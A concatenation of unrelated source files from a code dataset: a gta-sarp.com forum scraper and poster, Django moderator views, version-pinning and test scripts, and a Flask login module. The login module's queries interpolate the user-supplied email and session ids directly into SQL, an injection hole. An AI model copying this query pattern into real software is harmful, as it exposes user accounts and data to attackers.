'userfield[field1]': text_tags[1].text,\n 'userfield[field5]': text_tags[0].text\n })\n self.profile_info = profile_info_dict\n\n def get_profile_info(self, user_id: int) -> dict:\n \"\"\"Return a dictionary containing basic information on the desired forum profile\"\"\"\n if not _is_logged_in():\n self.login()\n\n html: str = session.get(Urls.ABOUT_ME.value.format(user_id)).text\n soup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n\n return dict(username=soup.find('span', class_='member_username').text,\n join_date=soup.find_all('dl', class_='stats')[0].find('dd').text.strip(),\n last_active=soup.find_all('dl', class_='stats')[2].find('dd').text.strip(),\n avatar='http://www.gta-sarp.com' + soup.find('span', class_='avatarcontainer').find('img')\n ['src'].strip(),\n friend_count=int(soup.find('span', class_='friends_total').text),\n is_online=True if 'online' in soup.find('img', class_='inlineimg onlinestatus')['alt'] else False,\n total_posts=soup.find_all('dl', class_='blockrow stats')[1].find('dd').text.strip(),\n posts_per_day=soup.find_all('dl', class_='blockrow stats')[2].find('dd').text.strip())\n\n def get_roster_posts(self) -> list:\n roster_list = []\n if not _is_logged_in():\n self.login()\n\n html: str = session.get(Urls.ROSTER.value).text\n soup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n roster_posts = soup.find_all('li', class_='postbitlegacy postbitim postcontainer old')\n for post in roster_posts:\n author = post.find('a', class_='username')\n content = post.find('blockquote', class_='postcontent')\n if content is not None:\n author = author.text.strip()\n content = content.text.strip()\n roster_list.append({\n 'author': author,\n 'content': content\n })\n return roster_list\n\n\n def get_discord_name_fromid(self, userid: int) -> str:\n if not _is_logged_in():\n self.login()\n html: str = session.get(f'http://www.gta-sarp.com/forums/member.php?{userid}&tab=aboutme').text\n soup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n profile_fields = soup.find_all('dd', class_=None)\n pattern = re.compile(r'\\w+#\\d+')\n for field in profile_fields:\n matches = pattern.finditer(field.text)\n for match in matches:\n if match:\n return match.group(0)\n return 'Unknown'\n\n def get_username_fromid(self, userid: int) -> str:\n if not _is_logged_in():\n self.login()\n html: str = session.get(f'http://www.gta-sarp.com/forums/member.php?{userid}').text\n soup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n username = soup.find('span', class_='member_username')\n if username is not None:\n return username.text\n return 'Unknown'\n\n def get_visits_fromid(self, userid: int) -> str:\n if not _is_logged_in():\n self.login()\n html: str = session.get(f'http://www.gta-sarp.com/forums/member.php?{userid}&tab=aboutme').text\n soup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n total_visits = soup.find('span', class_='totalvisits').strong.text\n if total_visits is not None:\n return total_visits\n return 'Unknown'\n\n def set_setting(self, field: str, value: str) -> None:\n \"\"\"Modify the specified setting in the object's setting dictionary \"\"\"\n self.settings[field] = value\n\n def set_profile_info(self, field: str, value: str) -> None:\n \"\"\"Modify the specified profile field in the object's profile info dictionary \"\"\"\n self.profile_info[field] = value\n\n def post_settings(self) -> bool:\n \"\"\"Post the object's settings to the website\"\"\"\n if not _is_logged_in():\n self.login()\n\n self.settings.update({\n 'securitytoken': _get_security_token(session.get(Urls.EDIT_SETTINGS.value).text),\n 'do': 'updateoptions'\n })\n response = session.post(Urls.UPDATE_SETTINGS.value, self.settings)\n\n if response.status_code != 200:\n print(f'Failed to update settings: Error code {response.status_code}')\n return False\n else:\n return True\n\n def post_profile_info(self) -> bool:\n \"\"\"Post the object's profile info to the website\"\"\"\n if not _is_logged_in():\n self.login()\n\n self.profile_info.update({\n 'securitytoken': _get_security_token(session.get(Urls.EDIT_PROFILE.value).text),\n 'do': 'updateprofile',\n 'oldbirthday': ''\n })\n\n response = session.post(Urls.UPDATE_PROFILE.value, self.profile_info)\n\n if response.status_code != 200:\n print(f'Failed to update settings: Error code {response.status_code}')\n return False\n else:\n return True\n\n def post_profile_field(self, profile_field: int, value: str) -> bool:\n \"\"\"Update an individual field on the website\"\"\"\n if not _is_logged_in():\n self.login()\n\n html: str = session.get(Urls.AJAX.value.format(self.account_id)).text\n self._get_cookies(Urls.AJAX.value)\n payload = {\n 'securitytoken': _get_security_token(\n session.get(Urls.ABOUT_ME.value.format(self.account_id)).text),\n 'do': 'saveuserfield',\n 'fieldid': profile_field,\n 'userfield[field' + str(profile_field) + '_set]': 1,\n 'userfield[field' + str(profile_field) + ']': value\n\n }\n response = session.post(Urls.AJAX.value, payload)\n\n if response.status_code != 200:\n print(f'Failed to update profile: Error code {response.status_code}')\n return False\n else:\n return True\n\n def post_thread(self, section_id: int, title: str, body: str, icon: int = 0) -> None:\n\n html = session.post(Urls.NEW_THREAD.format(section_id)).text\n\n session.post(Urls.POST_THREAD.format(section_id), {\n 'do': 'postthread',\n 'f': section_id,\n '__cfduid': self.cookies.get('__cfduid'),\n 'bb_lastvisit': time.time(),\n 'bb_lastactivity': 0,\n 'bb_userid': self.account_id,\n 'bb_password': self.password,\n 'bb_sessionhash': self.cookies.get('bb_sessionhash'),\n 'subject': title,\n 'message_backup': body,\n 'message': body,\n 'iconid': icon,\n 'taglist': '',\n 's': '',\n 'securitytoken': _get_security_token(html),\n 'poststarttime': time.time(),\n 'loggedinuser': self.account_id,\n 'sbutton': 'Submit+New+Thread',\n 'signature': 1,\n 'parseurl': 1,\n })\n\n def post_reply(self, thread_id: int, body: str, title: str = '', icon: int = 0) -> None:\n\n html = session.post(Urls.VIEW_THREAD.value.format(thread_id)).text\n\n session.post(Urls.POST_REPLY.value.format(thread_id), {\n 'do': 'postreply',\n 't': thread_id,\n '__cfduid': self.cookies.get('__cfduid'),\n 'title': title,\n 'message_backup': body,\n 'message': body,\n 'multiquoteempty': 'only',\n 'iconid': icon,\n 's': '',\n 'p': '',\n 'parseurl': 1,\n 'securitytoken': _get_security_token(html),\n 'poststarttime': time.time(),\n 'loggedinuser': self.account_id,\n 'sbutton': 'Submit+Reply',\n 'wysiwyg': 0\n })\n\n # ===\n\n def _get_cookies(self, url: str) -> None:\n self.cookies = session.get(url).cookies.get_dict()\n\n def does_profile_exist(self, user_id: int) -> bool:\n html: str = session.get(Urls.PROFILE.value.format(user_id)).text\n soup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n username = soup.find('span', class_='member_username')\n if username is not None:\n return True\n return False\n","sub_path":"py_sarp/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":12168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"135136910","text":"# -*- coding: utf-8 -*-\nfrom django.shortcuts import render,get_object_or_404, render_to_response, redirect\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponse\nfrom main.models import Post, ImageModel, Offer\nfrom django.conf import settings\nfrom wsgiref.util import FileWrapper\nfrom api.utils import decorators\nfrom django.contrib import messages\nfrom moderators.messages import *\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.db.models import Q\n\nfrom django.contrib.auth import authenticate, login as auth_login, logout, get_user_model\nfrom django.contrib.auth.decorators import login_required\n\nimport datetime, time\nfrom api import codes, constants\n\n\n@login_required\ndef basic(request):\n\ttemplate = 'moderators/main.html'\n\tparams = dict()\n\tresults = list()\n\tposts_list = Post.objects.filter(is_active=True).order_by('-pk')\n\tpaginator = Paginator(posts_list, 10) # Show 10 contacts per page\n\tpage = request.GET.get('page')\n\ttry:\n\t\tposts = paginator.page(page)\n\texcept PageNotAnInteger:\n # If page is not an integer, deliver first page.\n\t\tposts = paginator.page(1)\n\texcept EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n\t\tposts = paginator.page(paginator.num_pages)\n\tfor post in posts:\n\t\tres = dict()\n\t\ttry:\n\t\t\timage = ImageModel.objects.filter(post=post)[0]\n\t\t\tres['image_url'] = image.image.url\n\t\texcept Exception as e:\n\t\t\tprint(e.message)\n\t\t\tpass\n\t\tres['id'] = post.id\n\t\tres['description'] = post.description\n\t\tres['title'] = post.title\n\t\tres['price'] = post.price\n\t\tres['lombard'] = post.lombard.address\n\t\tresults.append(res)\n\tparams['posts'] = results\n\tparams['paginator'] = dict()\n\tparams['paginator']['has_previous'] = posts.has_previous\n\tparams['paginator']['has_next'] = posts.has_next\n\tparams['paginator']['number'] = posts.number\n\tparams['paginator']['num_pages'] = posts.paginator.num_pages\n\tparams['paginator']['previous_page_number'] = posts.previous_page_number\n\tparams['paginator']['next_page_number'] = posts.next_page_number\n\treturn render(request, template, params)\n\n\n@login_required\ndef post(request):\n\t\"\"\"\n\tView for adding new post\n\t\"\"\"\n\tif request.method == \"POST\":\n\t\ttry:\n\t\t\ttitle = request.POST['title']\n\t\t\tdescription = request.POST['description']\n\t\t\tprice = request.POST['price']\n\t\t\tcategory = request.POST['category']\n\t\t\tpost = Post.objects.create(user=request.user, title=title, description=description, lombard=request.user.lombard, category=category)\n\t\t\timages_count = request.POST['images_count']\n\t\t\tfor i in range(int(images_count)):\n\t\t\t\timage = request.FILES.get('image{}'.format(i), '')\n\t\t\t\tImageModel.objects.create(post=post, image=image)\n\t\t\tmessages.add_message(request, messages.SUCCESS, SUCCESS_POST_ADD)\n\t\texcept Exception as e:\n\t\t\tmessages.add_message(request, messages.WARNING, ERROR_POST_ADD)\n\treturn render(request, 'moderators/add_post.html')\n\n\n@login_required\ndef posts(request):\n\t\"\"\"\n\tView for showing posts\n\tNOTE: shows only last 10\n\t\"\"\"\n\tparams = dict()\n\treturn render(request, 'moderators/main.html', params)\n\n\n@login_required\ndef search(request):\n\t\"\"\"\n\tView for searching posts by id or title\n\t\"\"\"\n\tsearch_key = request.GET.get('search_key')\n\ttemplate = 'moderators/search.html'\n\tparams = dict()\n\tresults = list()\n\ttry:\n\t\tposts_list = Post.objects.filter(Q(pk=int(search_key)) | Q(title__contains=search_key)).order_by('-pk')\n\texcept ValueError:\n\t\tposts_list = Post.objects.filter(title__contains=search_key).order_by('-pk')\n\tpaginator = Paginator(posts_list, 10) # Show 10 contacts per page\n\tpage = request.GET.get('page')\n\ttry:\n\t\tposts = paginator.page(page)\n\texcept PageNotAnInteger:\n # If page is not an integer, deliver first page.\n\t\tposts = paginator.page(1)\n\texcept EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n\t\tposts = paginator.page(paginator.num_pages)\n\tfor post in posts:\n\t\tres = dict()\n\t\ttry:\n\t\t\timage = ImageModel.objects.filter(post=post)[0]\n\t\t\tres['image_url'] = image.image.url\n\t\texcept Exception as e:\n\t\t\tprint(e.message)\n\t\t\tpass\n\t\tres['id'] = post.id\n\t\tres['description'] = post.description\n\t\tres['title'] = post.title\n\t\tres['price'] = post.price\n\t\tres['lombard'] = post.lombard.address\n\t\tresults.append(res)\n\tparams['posts'] = results\n\t# paginator\n\tparams['paginator'] = dict()\n\tparams['paginator']['has_previous'] = posts.has_previous\n\tparams['paginator']['has_next'] = posts.has_next\n\tparams['paginator']['number'] = posts.number\n\tparams['paginator']['num_pages'] = posts.paginator.num_pages\n\tparams['paginator']['previous_page_number'] = posts.previous_page_number\n\tparams['paginator']['next_page_number'] = posts.next_page_number\n\tif search_key:\n\t\tparams['search_key'] = search_key\n\n\treturn render(request, template, params)\n\n\n@login_required\ndef offers(request):\n\t\"\"\"\n\t\tView for showing active offers\n\t\"\"\"\n\tparams = dict()\n\ttemplate = \"moderators/offers.html\"\n\toffers = Offer.objects.all()\n\tparams['offers'] = offers\n\treturn render(request, template, params)\n\n\n","sub_path":"web/moderators/views/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"451516624","text":"import os\nimport re\nimport sys\n\nLUT_PYTHON_TORCH = {\n '3.8': '1.4',\n '3.9': '1.7.1',\n}\nREQUIREMENTS_FILES = (\n 'requirements.txt',\n os.path.join('requirements', 'test.txt'),\n os.path.join('requirements', 'integrate.txt'),\n)\n\n\ndef set_min_torch_by_python(fpath: str = 'requirements.txt') -> None:\n py_ver = f'{sys.version_info.major}.{sys.version_info.minor}'\n if py_ver not in LUT_PYTHON_TORCH:\n return\n with open(fpath) as fp:\n req = fp.read()\n req = re.sub(r'torch>=[\\d\\.]+', f'torch>={LUT_PYTHON_TORCH[py_ver]}', req)\n with open(fpath, 'w') as fp:\n fp.write(req)\n\n\ndef replace_min_requirements(fpath: str) -> None:\n with open(fpath) as fp:\n req = fp.read()\n req = req.replace('>=', '==')\n with open(fpath, 'w') as fp:\n fp.write(req)\n\n\nif __name__ == '__main__':\n set_min_torch_by_python()\n for fpath in REQUIREMENTS_FILES:\n replace_min_requirements(fpath)\n","sub_path":".github/set-minimal-versions.py","file_name":"set-minimal-versions.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"313945817","text":"from nose.tools import ok_\n\nimport amo.tests\n\nfrom mkt.collections.constants import COLLECTIONS_TYPE_BASIC\nfrom mkt.collections.models import Collection\n\n\nclass TestPublicCollectionsManager(amo.tests.TestCase):\n\n def setUp(self):\n self.public_collection = Collection.objects.create(**{\n 'name': 'Public',\n 'description': 'The public one',\n 'is_public': True,\n 'collection_type': COLLECTIONS_TYPE_BASIC\n })\n self.private_collection = Collection.objects.create(**{\n 'name': 'Private',\n 'description': 'The private one',\n 'is_public': False,\n 'collection_type': COLLECTIONS_TYPE_BASIC\n })\n\n def test_public(self):\n qs = Collection.public.all()\n ok_(self.public_collection in qs)\n ok_(self.private_collection not in qs)\n","sub_path":"mkt/collections/tests/test_managers.py","file_name":"test_managers.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"582604215","text":"#-*- coding: utf-8 -*-\n\nfrom flask import Flask, render_template, flash, redirect, url_for, session, request, logging, Blueprint, g\nfrom passlib.hash import sha256_crypt\nfrom functools import wraps\nfrom werkzeug.security import check_password_hash, generate_password_hash\nfrom .db_connection import getDB\nimport logging\nimport sys\nimport traceback\nimport json\nfrom flask import current_app as app\nfrom . import general_functions\nGF = general_functions.GeneralFunctions()\ndb = getDB()\nimport app_config as cfg\n\nbp = Blueprint('login', __name__, url_prefix='/login')\n\n@bp.route('/')\ndef login():\n flash(u'','')\n session.clear()\n return render_template('login.html',error=None)\n\n@bp.route('/signin', methods=['GET','POST'])\ndef signin():\n error=''\n try:\n app.logger.info(\"login\")\n if request.method=='POST':\n session.pop('_flashes', None)\n email=request.form['email']\n email.strip()\n email.lower()\n password=request.form['password']\n registered_user=db.query(\"\"\"\n select * from system.user where\n email='%s' and enabled=True order by user_id\n \"\"\"%email).dictresult()\n if registered_user==[]:\n error='Usuario no registrado'\n flash(u'Usuario no registrado','user')\n elif registered_user[0]['enabled']=='f':\n error='Usuario deshabilitado'\n flash(u'Usuario deshabilitado','user')\n else:\n if not check_password_hash(registered_user[0]['password'],password):\n error='Contraseña incorrecta.'\n flash(u'Contraseña incorrecta.','pass')\n else:\n db.query(\"\"\"\n update system.user_session\n set logged=False where user_id=%s\n and logged=True\n \"\"\"%registered_user[0]['user_id'])\n new_session={\n 'user_id':registered_user[0]['user_id'],\n 'start_session':'now()',\n 'logged':True\n }\n inserted_session=db.insert('system.user_session',new_session)\n g.session_id=inserted_session['session_id']\n session['user_id']=registered_user[0]['user_id']\n session['session_id']=inserted_session['session_id']\n # session['name']=inserted_session['name']\n session['logged_in']=True\n return redirect(url_for('home.home'))\n return render_template('login.html',error=error)\n except:\n exc_info=sys.exc_info()\n app.logger.info(traceback.format_exc(exc_info))\n return render_template('login.html',error='Ocurrió un error al intentar iniciar sesión, favor de intentarlo de nuevo.'.decode('utf-8'))\n\ndef is_logged_in(f):\n @wraps(f)\n def wrap(*args, **kwargs):\n if 'logged_in' in session:\n logged=db.query(\"\"\"\n select logged from system.user_session\n where session_id=%s\n \"\"\"%session['session_id']).dictresult()\n\n if logged!=[]:\n if logged[0]['logged']==True:\n db.query(\"\"\"\n update system.user_session\n set last_action_at=now()\n where session_id=%s\n \"\"\"%session['session_id'])\n return f(*args, **kwargs)\n else:\n flash('Unauthorized, Please login', 'danger')\n return redirect(url_for('login.login'))\n else:\n flash('Unauthorized, Please login', 'danger')\n return redirect(url_for('login.login'))\n else:\n flash('Unauthorized, Please login', 'danger')\n return redirect(url_for('login.login'))\n return wrap\n\n@bp.route('/signout', methods=['GET','POST'])\n@is_logged_in\ndef signout():\n db.query(\"\"\"\n update system.user_session\n set logged=False,\n finish_session='now'\n where session_id=%s\n and user_id=%s\n \"\"\"%(session['session_id'],session['user_id']))\n session.clear()\n return redirect(url_for('login.login'))\n","sub_path":"views/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"160480184","text":"from xml.etree import ElementTree as ET\nimport time\nimport xlrd\nfrom pages.producer_center.ballpark.ballpark_Indication import BallPark_Indication\nfrom pages.producer_center.ballpark.ballpark_PAF import BallPark_PAF\nfrom pages.producer_center.ballpark.ballpark_download_send import BallPark_Download_Send\nfrom pages.producer_center.products_programs_page import ProductsAndPrograms\nfrom pages.service_center.agents_page import AgentsPage\nfrom pages.service_center.login_page import LoginPage\nfrom pages.service_center.navigation_bar import NavigationBar\nfrom utilities.Environments.Environments import Environments\nfrom utilities.state_capitals.state_capitals import StateCapitals\nfrom utilities.zip_codes_state_capitals.zip_codes import ZipCodes\nfrom utilities.Faker.Data_Generator import Data_Generator\nfrom utilities.Date_Time_Generator.Date_Time_Generator import Date_Time_Generator\nfrom config_globals import *\n\nclass TestCreateQuote():\n\n def test_login_search_for_agent_create_quote(self, browser, env):\n\n ## Directory Locations\n\n Product = \"NGP_CAMICO\"\n driver = browser\n\n tests_directory = ROOT_DIR / 'tests'\n framework_directory = ROOT_DIR\n config_file_directory = CONFIG_PATH\n test_case_directory = framework_directory / 'utilities' / 'Excel_Sheets' / 'Products'\n test_results_directory = framework_directory / 'utilities' / 'Excel_Sheets' / 'Test_Results'\n\n global test_summary\n global test_scenario\n global effective_date\n global contract_class\n global agent\n global state\n global revenue\n global total_num_records\n global staff_count\n global _OLD_scenario\n\n # Open Test Scenario Workbook; Instantiate worksheet object\n # 0 - First Worksheet\n # 1 - Second Worksheet...etc\n\n wb = xlrd.open_workbook(str(test_case_directory / Product) + '.xlsx')\n sh = wb.sheet_by_index(2)\n\n ## Begin For Loop to iterate through Test Scenarios\n i = 1\n rows = sh.nrows\n empty_cell = False\n for i in range(1, sh.nrows):\n\n cell_val = sh.cell(i, 0).value\n if cell_val == '':\n # If Cell Value is empty, set empty_cell to True\n empty_cell = True\n else:\n # If Cell Value is NOT empty, set empty_cell to False\n empty_cell = False\n\n # Check to see if cell is NOT empty\n # If cell is not empty, read in the values\n if empty_cell == False:\n test_summary = sh.cell_value(i, 0)\n test_scenario = str(round(sh.cell_value(i, 1)))\n effective_date = sh.cell_value(i, 2)\n contract_class = sh.cell_value(i, 3)\n agent = sh.cell_value(i, 4)\n state = sh.cell_value(i, 5)\n revenue = str(round(sh.cell_value(i, 6)))\n total_num_records = (sh.cell_value(i, 7))\n staff_count = str(round(sh.cell_value(i, 8)))\n _OLD_scenario = sh.cell_value(i, 9)\n\n # Else, the cell is empty\n # End the Loop\n else:\n break\n\n # Create Instance of Data Generator\n dg = Data_Generator()\n\n # Create Company Name Value\n company_name_string = dg.create_full_company_name()\n # Create Street Address Value\n address_value = dg.create_street_address()\n city = StateCapitals.return_state_capital(state)\n postal_code = ZipCodes.return_zip_codes(state)\n\n # Create Instance of Date Time Generator\n dtg = Date_Time_Generator()\n # Create Today's Date\n date_today = dtg.return_date_today()\n\n # Access XML to retrieve login credentials\n tree = ET.parse(str(config_file_directory / 'resources.xml'))\n login_credentials = tree.getroot()\n username = (login_credentials[1][0].text)\n password = (login_credentials[1][1].text)\n\n ## Test Environment\n ## Select Appropriate URL based on the Environment Value (env)\n baseURL = Environments.return_environments(env)\n\n # Maximize Window; Launch URL\n driver.get(baseURL)\n driver.implicitly_wait(3)\n\n # Call Login methods from Pages.home.login_page.py\n lp = LoginPage(driver)\n lp.login(username, password)\n lp.click_login_button()\n nb = NavigationBar(driver)\n nb.click_agents()\n ap = AgentsPage(driver)\n ap.search_for_agent(agent)\n ap.click_submit_new_application_as_agent()\n\n pp = ProductsAndPrograms(driver)\n pp.click_ballpark()\n\n bp_PAF = BallPark_PAF(driver)\n bp_PAF.switch_windows()\n bp_PAF.start_ballpark_enter_faker_company_name_valid_zip(company_name_string, postal_code)\n bp_PAF.select_contract_class(contract_class)\n bp_PAF.click_ballpark_button()\n\n bp_PAF.select_NGP_CAMICO()\n time.sleep(3)\n\n # Enter Ad Hoc Effective Date\n # bp_PAF.enter_effective_date(ad_hoc_effectiveDate)\n\n # Enter Today's Date as Effective Date\n bp_PAF.enter_current_date(date_today)\n\n time.sleep(3)\n bp_PAF.enter_revenue(revenue)\n bp_PAF.click_ballpark_button()\n\n bp_Indication = BallPark_Indication(driver)\n bp_Indication.click_Download_Send_Indication()\n\n bp_Download_Send = BallPark_Download_Send(driver)\n bp_Download_Send.input_email()\n bp_Download_Send.click_send_email()\n\n # Close Ballpark Window\n driver.close()\n\n # Switch to First Window (Service Center)\n driver.switch_to.window(driver.window_handles[0])\n\n # Wait\n driver.implicitly_wait(3)\n\n # Close Browser\n driver.quit()","sub_path":"tests/products/NGP_CAMICO_Create_Ballpark.py","file_name":"NGP_CAMICO_Create_Ballpark.py","file_ext":"py","file_size_in_byte":5781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"360246481","text":"import time, sys, urllib.request, socket\n\ntim = 1 #site load timeout, a second is enough for a good proxy\ninp = 'proxies.txt'\t#input http proxy ip:port;\tcan be changed via args either\nout = 'tested.txt'\t#output high-speed proxies;\tcan be changed via args either\nurl = 'http://ssl.gstatic.com/gb/images/v1_2e543709.png'\t#lets ddos google a bit, we will try to download this url through ours proxies.\nif len(sys.argv)==2:\n\tinp = str(sys.argv[1])\n\tout = str(sys.argv[2])\nsocket.setdefaulttimeout(tim)\ninp = open(inp,'r').read()\nout = open(out,'w')\nn = len(inp)-len(inp.replace('\\n','')) #an OP way to count lines in a file. the other considered one was \"len(inp.splitlines())\", but it would be 2ez\ni = 1\n\nfor ip in inp.splitlines():\n\tprint(str(i)+'/'+str(n))\n\tprint(ip)\n\ttry:\n\t\tstart_time = time.time()\n\t\turllib.request.FancyURLopener({\"http\":\"http://\"+ip}).open(url)\n\t\ttimer = time.time() - start_time\n\t\tprint(round(timer,2))\n\t\tprint()\n\t\tif timer self.end:\n raise ValueError(\"Start date is later than end date!\")\n\ntrips = [\n Trip('IT-VNC', 'Italy-Venice', dt.date(2023, 6, 1), dt.date(2023, 6, 12)),\n Trip('SP-BRC', 'Spain-Barcelona', dt.date(2023, 6, 12), dt.date(2023, 5, 22)),\n Trip('IT-ROM', 'Italy-Rome', dt.date(2023, 6, 21), dt.date(2023, 6, 12))\n ]\nTwoim zadaniem jest napisanie metody klasy o nazwie publish_offer, która:\n\njako argument przyjmie listę wycieczek\n\nzadeklaruje lokalną listę list_of_errors, w której będą zapamiętane wyniki testu dla wycieczek zawierających błędy\n\ndla każdej wycieczki z listy list_of_errors wywoła metodę check_data\n\njeżeli błąd to ValueError, to do list_of_errors doda napis w postaci \": \"\n\njeżeli błąd to Exception, to do list_of_errors doda napis w postaci \": \"\n\njeżeli po sprawdzeniu wszystkich wycieczek w list_of_errors są jakieś błędy, to zgłosi exception o treści \"The list\nof trips has errors: \"\n\nw przeciwnym razie wyświetli komunikat \"the offer will be published...\" (normalnie w tym miejscu odbywałoby się\npublikowanie wycieczek, ale my ten punkt pomijamy)\n\nW kodzie poza klasą dodaj wywołanie metody publish_offer w taki sposób, że:\n\nw bloku try:\n\nnajpierw zostanie wyświetlony komunikat o rozpoczęciu sprawdzania wycieczek\n\npotem będzie wywołana metoda publish_offer\n\nna zakończenie zostanie wyświetlony napis \"done\"\n\nw bloku except:\n\njeśli doszło do błedu, wyświetl \"przerażający\" komunikat o błędzie i szczegóły tego błędu\n\n\n\nW tym ćwiczeniu zobaczyłeś, jak można skumulować kilka mniejszych błędów w jeden większy. Użytkownik od razu mógł\nzobaczyć wszystkie wadliwe dane, dokonać korekt i ponownie uruchomić swój program.'''\n\nimport datetime as dt\n\nclass Trip:\n def __init__(self, symbol, title, start, end):\n self.symbol = symbol\n self.title = title\n self.start = start\n self.end = end\n\n def check_data(self):\n if len(self.title) == 0:\n raise Exception(\"Title is empty!\")\n if self.start > self.end:\n raise ValueError(\"Start date is later than end date!\")\n\n @classmethod\n def publish_offer(cls, trips):\n\n list_of_errors = []\n\n for trip in trips:\n try:\n trip.check_data()\n except ValueError as e:\n list_of_errors.append(\"{}: {}\".format(trip.symbol, str(e)))\n except Exception as e:\n list_of_errors.append(\"{}: {}\".format(trip.symbol, str(e)))\n\n if len(list_of_errors) > 0:\n raise Exception(\"The list of trips has errors: {}\".format(list_of_errors))\n else:\n print('the offer will be published...')\n\n\ntrips = [\n Trip('IT-VNC', 'Italy-Venice', dt.date(2023, 6, 1), dt.date(2023, 6, 12)),\n Trip('SP-BRC', 'Spain-Barcelona', dt.date(2023, 6, 12), dt.date(2023, 5, 22)),\n Trip('IT-ROM', 'Italy-Rome', dt.date(2023, 6, 21), dt.date(2023, 6, 12))\n]\n\ntry:\n print('Publishing trips...')\n Trip.publish_offer(trips)\n print('... done')\nexcept Exception as e:\n print('THERE ARE ERRORS')\n print(e)\n print('THE OFFER CANNOT BE PUBLISHED')","sub_path":"ObsługaBłędów/43_rising_exception_lab.py","file_name":"43_rising_exception_lab.py","file_ext":"py","file_size_in_byte":3667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"171682620","text":"from selenium.common.exceptions import NoSuchElementException, TimeoutException, NoSuchFrameException\nfrom selenium.webdriver.support.ui import WebDriverWait, Select\nfrom selenium.webdriver.remote.webelement import WebElement\nimport selenium.webdriver.common.by\nimport holmium\nimport inspect\nimport weakref\nimport types\nimport threading\nimport contextlib\nimport collections\n\ntry:\n from ordereddict import OrderedDict\nexcept ImportError:\n from collections import OrderedDict\n\nfrom functools import wraps\nclass Locators(selenium.webdriver.common.by.By):\n \"\"\"\n proxy class to access locator types\n \"\"\"\n pass\n\n\ndef enhanced (web_element):\n \"\"\"\n incase a higher level abstraction for a WebElement is available\n we will use that in Pages. (e.g. a select element is converted into\n :class:`selenium.webdriver.support.ui.Select`)\n \"\"\"\n abstraction_mapping = {'select': Select}\n if web_element.tag_name in abstraction_mapping.keys():\n return abstraction_mapping[web_element.tag_name](web_element)\n return web_element\n\n\nclass ElementList(list):\n \"\"\"\n proxy to a standard list which would be stored in\n a :class:`holmium.core.Page`.\n \"\"\"\n\n def __init__(self, instance, *args, **kwargs):\n self.instance = weakref.ref(instance)\n list.__init__(self, *args, **kwargs)\n\n def __getitem__(self, index):\n return list.__getitem__(self, index).__get__(self.instance(),\n self.instance().__class__)\n\nclass ElementDict(dict):\n \"\"\"\n proxy to a standard dict which would be stored in\n a :class:`holmium.core.Page`.\n \"\"\"\n\n def __init__(self, instance, *args, **kwargs):\n self.instance = weakref.ref(instance)\n dict.__init__(self, *args, **kwargs)\n\n def __getitem__(self, key):\n return dict.__getitem__(self, key).__get__(self.instance(),\n self.instance().__class__)\n\n\nclass Page(object):\n \"\"\"\n Base class for all page objects to extend from.\n void Instance methods implemented by subclasses are provisioned\n with fluent wrappers to facilitate with writing code such as::\n\n class Google(Page):\n def enter_query(self):\n ....\n\n def submit_search(self):\n ....\n\n def get_results(self):\n ....\n\n assert len(Google().enter_query(\"page objects\").submit_search().get_results()) > 0\n\n \"\"\"\n local = threading.local()\n def __init__(self, driver, url=None, iframe=None):\n self.driver = driver\n if url:\n self.home = url\n elif driver.current_url:\n self.home = driver.current_url\n self.iframe = iframe\n for el in inspect.getmembers(self.__class__):\n def update_element(el):\n if issubclass(el.__class__, ElementGetter):\n el.iframe = self.iframe\n\n if issubclass(el[1].__class__, list):\n for item in el[1]:\n update_element(item)\n self.__setattr__(el[0], ElementList(self, el[1]))\n elif issubclass(el[1].__class__, dict):\n for item in el[1].values():\n update_element(item)\n self.__setattr__(el[0], ElementDict(self, el[1]))\n else:\n update_element(el[1])\n\n if url:\n self.driver.get(url)\n\n @contextlib.contextmanager\n def scope(self):\n Page.local.driver = object.__getattribute__(self, \"driver\")\n yield\n\n @staticmethod\n def get_driver():\n return Page.local.driver\n\n def go_home(self):\n \"\"\"\n returns the page object to the url it was initialized with\n \"\"\"\n self.driver.get(self.home)\n\n def __getattribute__(self, key):\n \"\"\"\n to enable fluent access to page objects, instance methods that\n don't return a value, instead return the page object instance.\n \"\"\"\n with object.__getattribute__(self, \"scope\")():\n attr = object.__getattribute__(self, key)\n # check if home url is set, else update.\n if not object.__getattribute__(self, \"home\"):\n holmium.core.log.debug(\"home url not set, attempting to update.\")\n object.__setattr__(self, \"home\", object.__getattribute__(self,\"driver\").current_url)\n\n if isinstance(attr, types.MethodType):\n @wraps(attr)\n def wrap(*args, **kwargs):\n resp = attr(*args, **kwargs)\n if not resp:\n holmium.core.log.debug(\"method %s returned None, using fluent response\" % attr.func_name)\n resp = self\n return resp\n return wrap\n return attr\n\n\n\n\nclass ElementGetter(object):\n \"\"\"\n internal class to encapsulate the logic used by\n :class:`holmium.core.Element`\n & :class:`holmium.core.Elements`\n \"\"\"\n\n def __init__(self, locator_type, query_string, base_element=None, timeout=1, value=lambda el:el):\n self.query_string = query_string\n self.locator_type = locator_type\n self.timeout = timeout\n self.driver = None\n self.iframe = None\n self.base_element = base_element\n self.value_mapper = value\n self.root_fn = lambda:Page.get_driver()\n 